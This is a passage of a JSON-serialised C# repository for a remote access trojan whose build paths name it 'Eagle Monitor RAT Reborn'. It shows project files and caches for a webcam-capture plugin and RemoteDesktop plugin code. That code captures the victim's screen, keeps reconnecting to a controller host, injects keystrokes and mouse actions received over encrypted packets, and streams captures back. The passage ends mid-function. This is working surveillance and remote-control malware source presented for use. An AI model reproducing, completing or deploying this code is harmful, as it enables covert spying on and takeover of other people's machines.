remoteCameraCapturePacket = (RemoteCameraCapturePacket)loadingAPI.CurrentPacket;\n                    clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);\n                    clientHandler.ConnectStart();\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"RemoteCamera\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"RemoteCamera\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"b06314f2-338e-4e66-acaa-a107a777a7b5\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/RemoteCamera.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{B06314F2-338E-4E66-ACAA-A107A777A7B5}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>RemoteCamera</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"AForge, Version=2.2.5.0, Culture=neutral, PublicKeyToken=c1db6ff4eaa06aeb, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\AForge.2.2.5\\lib\\AForge.dll</HintPath>\n    </Reference>\n    <Reference Include=\"AForge.Video, Version=2.2.5.0, Culture=neutral, PublicKeyToken=cbfb6e07d173c401, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\AForge.Video.2.2.5\\lib\\AForge.Video.dll</HintPath>\n    </Reference>\n    <Reference Include=\"AForge.Video.DirectShow, Version=2.2.5.0, Culture=neutral, PublicKeyToken=61ea4348d43881b7, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\AForge.Video.DirectShow.2.2.5\\lib\\AForge.Video.DirectShow.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"GetCameras.cs\" />\n    <Compile Include=\"Helpers.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.CopyComplete",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.CoreCompileInputs.cache",
    "content": "4d258941f8932a4b48b39eb3b45791586cf7c09f\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\bin\\Debug\\RemoteCamera.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\bin\\Debug\\RemoteCamera.pdb\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\RemoteCamera.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.CopyComplete\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\RemoteCamera.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.csproj.CopyComplete\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Debug\\RemoteCamera.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.Fody.CopyLocal.cache",
    "content": "E:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\packages\\AForge.2.2.5\\lib\\AForge.xml\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\packages\\AForge.Video.2.2.5\\lib\\AForge.Video.xml\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\packages\\AForge.Video.DirectShow.2.2.5\\lib\\AForge.Video.DirectShow.xml\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CopyComplete",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CoreCompileInputs.cache",
    "content": "6c67a8558ff2c45b5ac807f3e4567e0f90272fe7\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\RemoteCamera.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CopyComplete\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\RemoteCamera.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CopyComplete\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteCamera.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteCamera.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.Fody.CopyLocal.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteCamera.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteCamera.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteCamera.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteCamera\\obj\\Release\\RemoteCamera.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.Fody.CopyLocal.cache",
    "content": "E:\\$$$$$\\Eagle Monitor RAT Reborn\\packages\\AForge.2.2.5\\lib\\AForge.xml\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\packages\\AForge.Video.2.2.5\\lib\\AForge.Video.xml\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\packages\\AForge.Video.DirectShow.2.2.5\\lib\\AForge.Video.DirectShow.xml\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteCamera/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"AForge\" version=\"2.2.5\" targetFramework=\"net45\" />\n  <package id=\"AForge.Video\" version=\"2.2.5\" targetFramework=\"net45\" />\n  <package id=\"AForge.Video.DirectShow\" version=\"2.2.5\" targetFramework=\"net45\" />\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/CaptureHelpers.cs",
    "content": "﻿using System.Drawing;\nusing System.Drawing.Drawing2D;\nusing System.Drawing.Imaging;\nusing System.Runtime.InteropServices;\nusing System.Windows.Forms;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class CaptureHelpers\n    {\n\t\tprivate static ImageCodecInfo GetEncoderInfo(ImageFormat format)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tint j = 0;\n\t\t\t\tImageCodecInfo[] encoders = ImageCodecInfo.GetImageEncoders();\n\t\t\t\tj = 0;\n\t\t\t\twhile (j < encoders.Length)\n\t\t\t\t{\n\t\t\t\t\tif (encoders[j].FormatID == format.Guid)\n\t\t\t\t\t{\n\t\t\t\t\t\treturn encoders[j];\n\t\t\t\t\t}\n\t\t\t\t\tj += 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch { }\n\t\t\treturn null;\n\t\t}\n\n\t\tinternal static byte[] Capture(int width, int height, int quality, string format, ref int vResol, ref int hResol, short screen = 0)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tBitmap img = new Bitmap(Screen.AllScreens[screen].Bounds.Width, Screen.AllScreens[screen].Bounds.Height);\n\n\t\t\t\thResol = Screen.AllScreens[screen].Bounds.Width;\n\t\t\t\tvResol = Screen.AllScreens[screen].Bounds.Height;\n\n\t\t\t\tGraphics graphics = Graphics.FromImage(img);\n\n\t\t\t\tgraphics.CompositingQuality = CompositingQuality.HighSpeed;\n\n\t\t\t\tgraphics.CopyFromScreen(0, 0, 0, 0, new Size(Screen.AllScreens[screen].Bounds.Width, Screen.AllScreens[screen].Bounds.Height), CopyPixelOperation.SourceCopy);\n\n\t\t\t\tPoint P = new Point();\n\n\t\t\t\tGetCursorPos(out P);\n\n\t\t\t\tCURSORINFOHELPER CS = new CURSORINFOHELPER();\n\n\t\t\t\tCS.cbSize = Marshal.SizeOf(CS);\n\n\t\t\t\tGetCursorInfo(ref CS);\n\n\t\t\t\tif (CS.flags == 0x1)\n\t\t\t\t{\n\t\t\t\t\tgraphics.DrawIcon(Icon.FromHandle(CS.hCursor), P.X, P.Y);\n\t\t\t\t}\n\n\t\t\t\tBitmap Resize = new Bitmap(width, height);\n\t\t\t\tGraphics g2 = Graphics.FromImage(Resize);\n\t\t\t\tg2.CompositingQuality = CompositingQuality.HighSpeed;\n\t\t\t\tg2.DrawImage(img, new Rectangle(0, 0, width, height), new Rectangle(0, 0, Screen.AllScreens[screen].Bounds.Width, Screen.AllScreens[screen].Bounds.Height), GraphicsUnit.Pixel);\n\n\t\t\t\tEncoderParameter encoderParameter = new EncoderParameter(Encoder.Quality, quality);\n\t\t\t\tImageCodecInfo encoderInfo = encoderInfo = GetEncoderInfo(ImageFormat.Jpeg);\n\n\t\t\t\tEncoderParameters encoderParameters = new EncoderParameters(1);\n\t\t\t\tencoderParameters.Param[0] = encoderParameter;\n\t\t\t\tSystem.IO.MemoryStream MS = new System.IO.MemoryStream();\n\t\t\t\tResize.Save(MS, encoderInfo, encoderParameters);\n\t\t\t\tgraphics.Dispose();\n\t\t\t\tg2.Dispose();\n\t\t\t\timg.Dispose();\n\t\t\t\tResize.Dispose();\n\t\t\t\tMS.Dispose();\n\t\t\t\tencoderParameter.Dispose();\n\t\t\t\tencoderParameters.Dispose();\n\t\t\t\treturn MS.ToArray();\n\t\t\t}\n\t\t\tcatch { }\n\t\t\treturn null;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n        public bool hasToExit { get; set; }\n\n        internal int hResol;\n        internal int vResol;\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n        public delegate byte[] ReadDataAsync();\n        public delegate IPacket ReadPacketAsync(byte[] BufferPacket);\n\n        public ReadDataAsync readDataAsync;\n        public ReadPacketAsync readPacketAsync;\n\n        public delegate byte[] CaptureDesktopAsync();\n        public CaptureDesktopAsync captureDesktop;\n\n        public ClientHandler(Host host, string key, string baseIp, string HWID) : base()\n        {\n            this.hasToExit = false;\n            this.host = host;\n            this.key = key;\n            this.HWID = HWID;\n            this.baseIp = baseIp;\n            sendDataAsync = new SendDataAsync(SendData);\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n            captureDesktop = new CaptureDesktopAsync(DesktopPicture);\n        }\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (hasToExit)\n            {\n                return;\n            }\n            else if (!Connected)\n            {\n                ConnectStart();\n            }\n            else\n            {\n                Receive();\n                CaptureDesktop();\n            }\n        }\n\n        public void Receive()\n        {\n            if (hasToExit)\n                return;\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                if (Connected)\n                    hasToExit = true;\n\n                Connected = false;\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n            Receive();\n        }\n\n\n        private IPacket PacketParser(byte[] BufferPacket)\n        {\n            try\n            {\n                return BufferPacket.DeserializePacket(this.key);\n            }\n            catch (Exception)\n            { return null;  }\n        }\n\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n\n            if (packet != null)\n                ParsePacket(packet);\n        }\n\n        public void ParsePacket(IPacket packet)\n        {\n            switch (packet.PacketType)\n            {\n                case PacketType.RM_VIEW_ON:\n                    Launch.remoteViewerBasePacket = (RemoteViewerPacket)packet;        \n                    break;\n\n                case PacketType.RM_VIEW_OFF:\n                    hasToExit = true;\n                    break;\n\n                case PacketType.RM_KEYBOARD:\n                    RemoteKeyboardPacket remoteKeyboardPacket = (RemoteKeyboardPacket)packet;\n                    KeyboardHelper.KeyPress(remoteKeyboardPacket.keyCode, remoteKeyboardPacket.isDown);\n                    break;\n\n                case PacketType.RM_MOUSE:\n                    RemoteMousePacket mousePacket = (RemoteMousePacket)packet;\n                    switch (mousePacket.mouseTypeAction) \n                    {\n                        case RemoteMousePacket.MouseTypeAction.LEFT_DOWN:\n                            MouseHelper.MouseLeftClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), true);\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.LEFT_UP:\n                            MouseHelper.MouseLeftClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), false);\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.RIGHT_DOWN:\n                            MouseHelper.MouseRightClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), true);\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.RIGHT_UP:\n                            MouseHelper.MouseRightClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), false);\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.MOVE_MOUSE:\n                            MouseHelper.MouseMove(new System.Drawing.Point(mousePacket.x, mousePacket.y));\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_UP:\n                            MouseHelper.MouseScroll(new System.Drawing.Point(mousePacket.x, mousePacket.y), false);\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_DOWN:\n                            MouseHelper.MouseScroll(new System.Drawing.Point(mousePacket.x, mousePacket.y), true);\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.MIDDLE_UP:\n                            MouseHelper.MiddleMouseClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), false);\n                            break;\n\n                        case RemoteMousePacket.MouseTypeAction.MIDDLE_DOWN:\n                            MouseHelper.MiddleMouseClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), true);\n                            break;\n                    }\n                    break;\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = 